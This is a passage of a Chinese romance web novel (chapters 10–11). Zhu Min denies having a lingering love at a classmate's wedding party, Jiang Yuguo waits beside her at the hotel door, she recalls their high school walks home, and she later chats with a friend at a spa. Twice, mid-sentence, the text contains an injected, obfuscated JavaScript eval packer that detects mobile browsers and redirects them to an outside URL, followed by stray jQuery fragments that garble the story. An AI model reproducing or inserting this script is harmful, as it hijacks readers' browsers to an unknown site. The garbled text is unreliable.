简思高还没说完,欢呼起哄声又响起了,“我去!今天祝敏运气可以啊!又轮到你了!以前老是转不到你,今天总是你!这就是风水轮流转?你可是新游戏规则下第一个吃螃蟹的人,不能选喝酒,只能真心话怎么样!” 祝敏不扫兴,笑着说:“当然可以啊,不就是真心话嘛。” “谁来提问?!” 这时候简思高清了清嗓子,没看身边的江聿过,主动开口:“既然是新游戏新规则,那我这个老班长厚着脸皮来当第一个提问的怎么样?祝敏,你说呢?” 祝敏的笑意像雨水中没有被打湿的一朵白色不知名小花:“行啊班长。我当然没意见。” “我们也没意见!今天新郎最大!都听新郎的!” 祝敏半垂眸,不去直直的看简思高的方向,只是安静的听他的提问。 简思高清了清嗓子,“既然是真心话,那我就问了——” “祝敏同学,这么多年,你有没有念念不忘的人?” “wow!” “一上来话题就这么劲爆!后面的同学可要小心了!” 班长话音刚落,同学们就开始起哄。 刀光剑影间,短短几个小时发生的一切在祝敏脑海里盘旋—— 补妆时缓缓下降的车窗、卫生间外挡住她去路的栾树花、休息室里合照后那张她未见过的拍立得,以及婚宴上那盘剥好的虾。 江聿过的身影在她脑海中闪过许多次,就连那张被她放在家里的身份证,也如同电影剪影似的出现在她的脑海中。 祝敏敛了敛神,目光清明,声音利落:“没有。” 短短两个字像是一个无声炸弹,她说完后,四周阒然寂静。 祝敏晃了晃手里的酒杯,饮了一口杯中摇晃的液体。 她不用喝酒的。 只是她忽然有点想喝。 在场的同学的目光四处飘移,但飘飘转转,目的地最终都落在江聿过的身上。 江聿过手握着酒杯,唇角勾起若隐若现的幅度,眼皮恹恹的懒得抬起,看不清他眼底的情绪。 简思高笑的跟没事人似的故意说:“大家都看我干什么啊,祝敏已经回答完了,游戏继续啊。” 周围同学恍然大悟,又隐约想起今天江聿过似乎带了一个女生来参加婚礼,只不过人家提早离开了,于是又忍不住想,简思高故意这么问应该是江聿过授意的吧?没想到江聿过也成了吃着碗里的看着锅里的那种人,啧,男人有钱就变坏,资本主义家果然不能免俗。 游戏继续进行,简思高晃了晃手里的酒杯,低声同江聿过耳语:“听见了?” 江聿过嗓音像是淬了一层寒冰:“让你问了?自作多情。” 江聿过并没有参加他们的游戏,就在一旁看着他们玩,不经意间,他半抬眸,看着和同学聚在一起的祝敏—— 一个若无其事、自顾自的玩大冒险还说没有念念不忘的人的祝敏。 是啊,她多果决,说分开就分开、说忘记就忘记、说没有念念不忘就是没有念念不忘。 江聿过抬起酒杯,将杯中冰凉的酒液一饮而尽,烈性酒顺着唇瓣向下滑落到胃里,酒精分子在胃里膨胀挥发,带来一股酸胀的不适感,这样的不适感向上涌入贯穿心脏。 小没良心的,连看他一眼都不肯了。 10. 過敏010 第二场聚会一直持续到天黑,同学们意犹未尽,还要去第三场。 付美怡中途给祝敏发来消息,说她临时要处理一个酒店突发事件,今天没时间约饭了。 祝敏看了一眼消息,回了一个知道了,然后和大家告别,她在收到付美怡消息的同时还临时收到了导师的消息,她的论文被告知有几处要修改处理。 同学们都表示理解,有一位工作多年的同学还跟祝敏说:“别太大压力,其实读书很好的,等你工作了就知道学生时代究竟是什么泼天好日子了。” 祝敏挥了挥手,无奈道:“拜托,谭大律师!你忘记我是学医的了嘛?早就规培在医院工作了,工作的苦我是一点没少吃。” 谭思涵笑了笑:“oh,poor 敏敏,god bless you!”(哦!可怜的敏敏,上帝保佑你!) 祝敏听到谭思涵说话的腔调立刻笑出声,“快喝高了吧,你可是律师!不过你说的对,不光是可怜的敏敏,还是贫穷的敏敏。” 祝敏和同学们又笑着说了几句,离开前,班长问她:“开车来的吗,晚上怎么回去?我找人送你吧。” 祝敏神色平静,对简思高说:“大家继续玩,不用麻烦了,我叫了车。” 祝敏的目光不经意的向包厢内看了一眼,角度问题,她没有发现那个熟悉又陌生的身影。 或许他被同学的身影挡住了,又或许他早已离开,自己没有发现。 祝敏没再多想,她自认为她和江聿过除却今天的婚礼,未来也不会有太多交集—— 他们一个是在不断扩大自己的事业版图,一个是深耕专注在医院,致力于治好每一位病人。 他的世界广阔无垠,而她,世界太小,小到很难再有他人入侵。 他们归根结底不是一个世界的人。 祝敏自顾自的走到酒店门口,快到旋转门时她愣了一下。 包厢内没有看见身影的江聿过此刻慵懒的站在她的面前,冷着脸,一副面无表情的模样。 月色如水,漆黑的夜如幕布落在他的背后,他如同这漆黑夜里唯一的男主角。 空旷的酒店大厅就唯有他们二人,祝敏已经和他对视,直接装作没看到好像不太好,不得已,她默默的轻点了一下头,就算打了个招呼。 成年人的世界里不生不熟之间的人,疏远客套且不会出错的礼貌方式。 点过头致意后,祝敏想从他身边绕一下,这是离开酒店的必经之路。 可江聿过丝毫没有要让她的意思,他的声音一如既往的好听又冷淡:“简思高让我送你。” 随后,江聿过立刻补充道:“天太晚……他不放心。” 祝敏听到后有点懵懵的,简直满头问号,简思高问她用不用找人送的时候她分明和班长说过不用找人送、她自己已经叫了网约车的,简思高难道喝多了听错了?而且江聿过,他自己今天也喝酒了,怎么送她走?违法酒驾吗? 那可真是送她走了—— 走去天堂! 祝敏拒绝的话还没说出口,江聿过像是看穿了祝敏心里在想什么,气定神闲道:“我的司机已经到了。” 祝敏听到后更是无语,这是在炫耀吗? 从婚礼聚会同学们的对话间不难得知他这些年事业蒸蒸日上,公司市值飞速上涨,事业版图一扩再扩,产业遍布海内外,私人司机什么的更是洒洒水的标配,但是话又说回来了,这年头谁还没有个司机了? 祝敏想到这,眉心十分舒展的对江聿过说:“我的司机也到了。” 谁说叫的网约车司机不是司机了? 祝敏又看了一眼手机,软件上显示司机正在拥堵路段,预计要晚五分钟才能到达酒店。 祝敏暗自叹气,果然临时的司机就是没有人家私人司机来的快! 然而祝敏淡定的关掉手机,假装没有看到这句话,当作司机已经到了,若无其事的说:“替我谢谢简思高的好意。” 说完头也不回的从江聿过身边擦肩而过。 夜色寂静,祝敏站在酒店门口,不经意的回头,发现江聿过站在离她两三步的位置。 冰冷的月色落在他的周身,他将融入漆黑的夜。 祝敏向反方向挪了一下脚步,想要离江聿过远一些。 江聿过沉默的站着,与祝敏的距离始终保持着那么两三步那么多。 祝敏又看了一眼手机,司机依旧在堵车,仍然还要五分钟才到。 祝敏已经预想到了这将是漫长的五分钟,她不知道江聿过为什么要一直站在这里,分明不需要他送她回家。 他站在这就好像在无声的反问祝敏:你说的已经到了的司机呢? 祝敏微不可察的叹了口气,难道江聿过不觉得现在他这样做有些没有立场、不合时宜吗? 蝉鸣声点点,星星坠在天空,这样的时节,这样的人在身边站着,祝敏不受控制的想到了高中的晚自习课后。 她同江聿过高中都是走读生,他们高中时晚自习九点半才下课,不论是夏季还是冬季,天都黑得彻底。 江聿过回家的路和祝敏回家的路有一段是顺路的,江聿过高中在学校附近租的学区房,自己一个人住,他租的房子离学校很近,所以是他先到家。 但他从来没有让祝敏一个人回家过。 江聿过每个高中的晚自习课后总会送祝敏回家,无一缺席。 祝敏有时候走着回家,有时候骑自行车回家,但她回家的那条路路灯并不明亮,报修了很久都没有人来修,所以她通常是步行回家。 而江聿过也会陪着她。 把她安全的送到家门口,随后他自己孤身再折返回他租的房子里。 他们的高中很大,从教学楼走到校门口要很长一段距离,晚自习下课后,会有学校的老师在抓早恋的同学,所以从教室出来的路,江聿过会主动的跟在祝敏身后,两三步路的距离—— 不会被老师误会成早恋,又能离她很近很近的距离。 揣着亏心事的祝敏恨不得躲着教导主任走,她走起路来跟做贼心虚似的,小心翼翼的回头看一眼江聿过有没有跟上她,如果发现他离得太近,还要让他离远一点,祝敏甚至对江聿过说话有些颐指气使:“喂,别离我这么近,被抓住是要叫家长的。” 但江聿过从来不生气,反倒是乐在其中的耸了耸肩,压低声音的同时控制音量确保祝敏能听到:“你不想见家长吗?我倒是还挺想见叔叔阿姨的,哦对还有姐姐弟弟,我得给我的小舅子买点什么玩具才好呢?” 江聿过说话时一点点向前,离祝敏越来越近,直到两人并肩而行。 祝敏早已忘记两人之间应保持“安全距离”,她急于反驳江聿过故意曲解的话,“谁想见家长了,还有,祝穆才不是你可以用玩具轻轻松松收买的。” 江聿过深深的“哦”了一声,戏谑道:“原来是嫌玩具太少,那再加点,现在小朋友喜欢什么?游戏机?” “喂!”祝敏在黑夜里去拽江聿过的校服袖子,“江聿过!你好讨厌!” 忽然,教导主任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13520513|142322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气势如虹的声音从他们背后不远处响起:“前面两个牵手的同学,你们哪个班的!” 明明不是说的祝敏和江聿过,可祝敏脑海里的第一个念头就是—— 快跑! 她神色一紧,心脏在这一瞬间飞速咚咚跳个不停,她没有松开江聿过的校服袖子,拽着他赶紧往校门口跑去。 祝敏奔跑的速度在江聿过看来一点也不快,他还饶有兴致地问祝敏:“同学,跑什么啊,做贼心虚啊。” 祝敏跑着步,有点微喘,没好气的回复他:“合着您真想被请家长啊。” 江聿过轻笑一下,反扣住祝敏握着他校服外套的手,十指紧扣,紧紧的拉着她向前跑去,低头轻笑着说:“要这样跑才不会被请家长。” 江聿过跑步的速度比她快,风声划过耳边,夜晚空气里清新的味道扑面而来,穿过发梢,穿过心脏,祝敏当时就在想,她将永远铭记今晚的这般感受。 直到跑出学校,又跑了一段距离才停下脚步,夜晚的温度并不高,可是两只手十指紧握,掌心泛起淡淡濡湿,是因为怕被老师抓住紧张,还是因为深夜跑步速度太快,还是因为肌肤触碰肌肤、掌心紧贴掌心、十指紧握十指。 在深夜里,祝敏的脸颊泛起淡淡的红晕,她想,幸好江聿过看不到。 报修好久的路灯在今晚忽然亮了,灯光昏黄,祝敏泛红的脸颊被江聿过看的一清二楚,他比她了不少,身高的优势在祝敏头顶落下淡淡的阴影,将她圈禁在他的专属领地,江聿过笑着故意问她:“祝敏同学,缺乏锻炼啊,跑了这么几步就这么喘?脸都红了。” “嗯!”祝敏坚定的点了点头,还十分刻意的给自己辩解:“天天在教室里做题,好久没跑步了!” 蹩脚的谎言连她自己都骗不过,更何况是江聿过。 祝敏的脸颊越来越红,江聿过勾了勾唇角:“真心话?没撒谎?撒谎的小朋友鼻子可是要在晚上偷偷变长的。” 祝敏的手心痒痒的,她轻咳一声,即使她的脸越来越红,但她仍然说:“真心的,没骗你。” 江聿过笑着说:“好,我信了。” 说完,牵着她的手继续向回家的方向走去。 祝敏落在他身后一点点,目光微微垂在他紧牵着的她的手上。 这一路,他从来没有松开她的手。 想到这儿,祝敏的脸更红了,在黑夜里,依旧能模糊的看到她绯红的脸廓。 “叮叮铃铃……” 祝敏的手机里铃声响起,祝敏迅速从思绪中抽回,她甚至在想今天自己怎么了,怎么会想到那时候。 是司机师傅打来的,说他马上就要到目的地了。 祝敏挂了电话,准备去找车。 倏然,一阵低哑偏冷的声音从她的背后响起:“你今天说的话,真心吗?” 寂静的夜里,这句话打破了两人之间的沉寂。 祝敏的心脏在这一瞬没有理由的迅速收缩,取而代之的是快速的跳动,她头也没回的“嗯”了一下:“真心的,没骗人。” 司机师傅在路口边开了远光,祝敏一眼就看到,她抛下这句话,指甲紧紧的抠着掌心,迎着月光,大步的向路边停着的车走去。 江聿过仍然站在酒店门口,默记下了祝敏上的那辆车的车牌号,他目送着祝敏乘车离开,直到车灯的光彻底的从他视线里消失不见。 明明是七月的天气,他的心里如浸润万年寒冰,祝敏所说的每一字每一句都在为心中寒冰添砖加瓦,压得人喘不上气,刺骨难捱。 11. 過敏011 祝敏上车后坐在副驾,司机师傅是一位四十多岁的中年男士,闲聊似的问祝敏:“你们这是小两口吵架了?” “啊?”祝敏没反应过来,“您说什么?” 司机师傅眼神瞥了瞥后视镜:“你对象一直盯着车看呢,不信后视镜你自己看。” 祝敏听到司机师傅的话后向后视镜看去,司机师傅开的速度并不快,但当她看去的时候恰好经过一个路口拐弯。 蝉鸣和星空交相辉映,夜色融融,浓稠的街道褪去繁华喧嚣,黑夜仿佛吞噬了周遭一切,空空荡荡,唯有空旷的马路和路旁伫立着的昏暗路灯出现在她的视线里。 司机师傅以为祝敏看到了,继续说:“大晚上的一个女生也不安全,我女儿要是很晚出来我肯定担心,你对象肯定也是担心你,两口子吵架啊不要紧,但是别赌气,别倔,啥事说开了就好了!” 祝敏不是一个跟陌生人大费口舌解释的性格,她断然不会和司机解释她和江聿过不是一对儿,她敷衍着说:“您挺有经验啊。” “那当然了,叔可是过来人。”司机师傅继续唠唠叨叨道:“你们年轻人啊,就是放不下面子,死要面子活受罪,等你到了我这个年纪啊,就什么也懂了……” 祝敏适时打断师傅滔滔不绝的话,她看了一眼外面的路:“咱们别走回南巷那边,从晏南路路口那里直接拐吧。” “行,都行。”师傅听到祝敏的话后,果然没有继续刚才的话题,“回南巷那附近是一中,不过现在高中生都放假了没开学,其实也没什么人,不会堵车的,要是放学的点,那才叫一个堵呢,半个小时都走不出去那条路。” 司机误以为是祝敏怕学校那边堵车,才不让他走回南巷。 祝敏没接司机师傅的话,她不怕堵车,她只是现在忽然很不想经过她的母校,不想经过她高中上下学的必经之路,不想经过那条她充满无数回忆的路。 回到家,祝敏坐在书房,用最快的速度改好了导师要求的点,然后把修改部分单独标注,又把完整版论文给导师发了过去。 她的导师是行业大拿,自己忙得不得了,还同时带着硕士生和博士生,祝敏很清楚导师是不会立刻给她回复的。 她关掉笔记本电脑,看了一眼现在的时间,也不算很晚,她毫无睡意。 就在她犹豫是不是要给付美怡打电话的时候,付美怡的电话拨了过来。 祝敏眼睛一亮,笑着接起来:“美怡,我们真是心有灵犀!” “苍天啊,我现在终于下班了!”付美怡在电话那头问祝敏:“你还在我们酒店吗?” “来我家吧,我回家了。”祝敏站在冰箱前,“我看看我冰箱里还有什么吃的……嗯,不错,还是我去酒店找你吧。” 祝敏关上空荡荡的只有酸奶和矿泉水的冰箱门,她很少在家做饭,她的烹饪水平只能称得上是勉强果腹,多以简单方便的速食为主,她还在网上收藏了很多“快手菜”、“懒人饭”,分明是按步骤一步步做的,可是做出来的口味一次比一次奇怪,祝敏有时候都在想,她的手到底有什么魔力,难道厨神就一点不眷顾她? 付美怡也是“有幸”品尝过祝敏做的菜的,作为好朋友毫不留情的在电话那端哈哈大笑,“就是你家有什么食材也得我来下厨不是?这样吧,咱们去Casawish吧,他家牛排还不错,这个时间吃点牛排勉强算是健康饮食,不会对身体造成负担。” “这么晚去Casawish喝酒?”Casawish是江坞近期很火爆有名的酒吧,“这不像你啊,养生小达人。” “吃牛排、吃牛排呢!”付美怡轻笑着说,“然后我请你去做黄金微针吧,我去的那家晚上很晚也营业的,做的不错,去的人很多的。” “在脸上用针滚来滚去,是什么21世纪新型自虐法吗?”祝敏啧啧两声,“我陪你去就好。” 付美怡拗不过祝敏,她们最终决定先去做一个全身spa,再去Casawish。 私密的包间内燃点着甜橙玫瑰味的香薰蜡烛,白麝香与佛手柑气味的精油在空气中挥发,舒缓着她们紧绷的神经。 按摩师是付美怡经常找的两个中年大姐,按摩的手法老道,力度适中,祝敏觉得浑身每一个穴位都像浸泡在温水里,舒展又轻缓。 付美怡闭着眼睛享受着按摩师的按摩,“我在顶楼都听说了,今天江聿过也去了。” 私密的空间内,祝敏的声音不自然的放低:“你……消息挺灵敏。” “酒店有江氏的投资,他可是我们酒店大股东。”付美怡怕祝敏误会为什么现在才跟她说,解释道,“我也是最近升职之后才晓得的,要不然以前一个酒店小职员,谁管股东是谁啊,和我有半毛钱关系吗,我知道工资能不能按时发就行了。” “确实去了。”祝敏闭着眼睛,她的酒量自认为可以,读研读博这些年,在酒桌上和同门敬导师都喝的是白酒,实实在在的干,从不兑成雪碧,但不知怎的,她现在脑袋胀胀的,声音愈发的低了下去:“带着女朋友一起去的。” “什么?!”付美怡震惊的直接从指压床上坐起来,“这和我从酒店听到的八卦不一样啊……” “嗯?”祝敏脑袋昏昏,闭着眼享受按摩,漫不经心的说:“耳听为虚,眼见为实,八卦都不知道传了几手了,但我今天可是眼见到的。” 说完,她的心里泛起一股苦涩,祝敏摇了摇头,想要把这种从未有过的感觉从身体里甩出去。 她暗暗想,这一定是红酒、鸡尾酒和啤酒混合饮用后带来的微醺反应。 不然以她的酒量,怎么会醉呢? 付美怡有点懊恼自己怎么提了这个话题,她原本听到的酒店管理层在八卦时说的是:“咱们酒店的大股东、帅的惨绝人寰的那个,高贵的像是平等的在蔑视所有人类,谁也看不入眼,这样的人还会找另一半?不管他取向是男是女,看起来都不会找!” 可从祝敏的反应来看,谣言误人,事实并非如此。 付美怡侧着头看祝敏,她的皮肤在按摩师的手法下,泛起了一层淡淡的粉色,想要将她揽入怀中。 付美怡问祝敏:“你有没有听过一种说法,就是咱们以前喜欢的男孩子,其实不是喜欢他这个人,而是喜欢他的母亲。” 祝敏心底倏然一紧:“嗯?” “我高中的时候,你知道我有喜欢的学长。”付美怡陷入回忆里:“我喜欢他身上淡淡的好闻的味道,但那其实是他妈妈清洗衣物时倒入的洗衣液和留香珠的味道;我喜欢他穿的干净整洁,衣品不是花里胡哨的那种,也不非主流,但其实他的绝大部分衣服都是他妈妈买的,毕竟高中的时候都在上学,逛街甚至网购的时间都少之又少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13520514|142322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ;我喜欢他的课桌特别的整洁,课本和试卷都一一归类放好,但那也是他妈妈从小教他的。” “我还喜欢他的品性,在我们班很多男生开一个胖胖的女生玩笑的时候,他作为学生会的检查员路过,很严肃的制止了,而这也是因为他妈妈言传身教的教他,要尊重女孩子。” “所以啊,我后来也看开了,什么男人再优秀,也不过是个普通的女人罢了……” “噗哧。”祝敏被付美怡夸张的说法逗笑,“你说的……有点道理。” 祝敏最开始注意到江聿过,不就是因为在栾树下,看到他幸福的一家三口,他身边的女士,和穆传红的脾气秉性截然不同吗? 那切实符合了祝敏对美好家庭的一种幻想。 祝敏还有一次遇到过,江聿过的母亲来学校给他送便当。 那天下着毛毛细雨,但是温度很高,这样的雨天是不需要打伞的,雨都没落到身上就能被晒干,可她的母亲身边站着一位管家,为她撑着伞,而她的手里拿着一个便当袋,鼓鼓的,比平时大家带的都要大。 江聿过迎着雨,问她:“你怎么来了?” 他的母亲穿的很精致,从头到脚全面武装的像是要去t台走秀,女人语气温和,“你父亲不放心你,让我来看看你。” 再后面说了什么祝敏无从得知,但祝敏记得江聿过母亲给他带的那份便当味道真的很好吃,满满当当的五六个便当盒摆在空教室的桌子上,江聿过一口没吃,都是祝敏在吃,祝敏发自内心的说:“阿姨对你真好,你在家很幸福吧。” 江聿过在给祝敏剥虾,听到后手指顿了一下,“你认为……她对我好?” “难道不是吗?”祝敏诧异道:“今天下雨还这么热,冒着雨给你送这么多好吃的,说话的语气那么温柔,我从来没见过那么温柔的阿姨。” “切,小屁孩你懂什么。”江聿过把虾送到祝敏嘴边,“张嘴。” “谁是小孩。”祝敏奶凶奶凶的咬掉江聿过喂到嘴边的虾,才后知后觉的想起了,“不过你不是不喜欢吃虾吗?” 江聿过没解释,漫不经心的说:“给你吃。” 后来的祝敏发现江聿过的家离学校很远,他不常回去,但是少爷脾气的他是不会挤在狭小的上下铺六人间宿舍里的。 他在学校附近租的房子,那时候的他似乎有轻微洁癖,不喜欢有人闯入他的私人领域,祝敏还不止一次的问过他是不是处女座? 当时的江聿过确确实实没有请保姆和管家,诺大的房间只有他一个人居住,他生活起居、穿的衣服和吃的饭,基本都是自给自足。 这些都是后来祝敏去他租的房子里不止一次后,才慢慢发现的。 所以现在的祝敏不觉得是她见过的那位给江聿过送便当的女士塑造了江聿过的性格,虽然她看起来温柔,可是为什么会送一个江聿过不喜欢的口味的便当? 只不过高中时期的祝敏居然真的信了江聿过说的话,以为就是给她吃的。 很久以后祝敏才恍然大悟—— 江聿过就是江聿过,没有被规训、被束缚、被驯服,在旷野世界野蛮生长,俯瞰众生,淬炼出这世间独一无二的他。 - 「下章入v,物美价廉千字三分。」 「作者码字不易,请阅读正版,尽在晋江文学城。」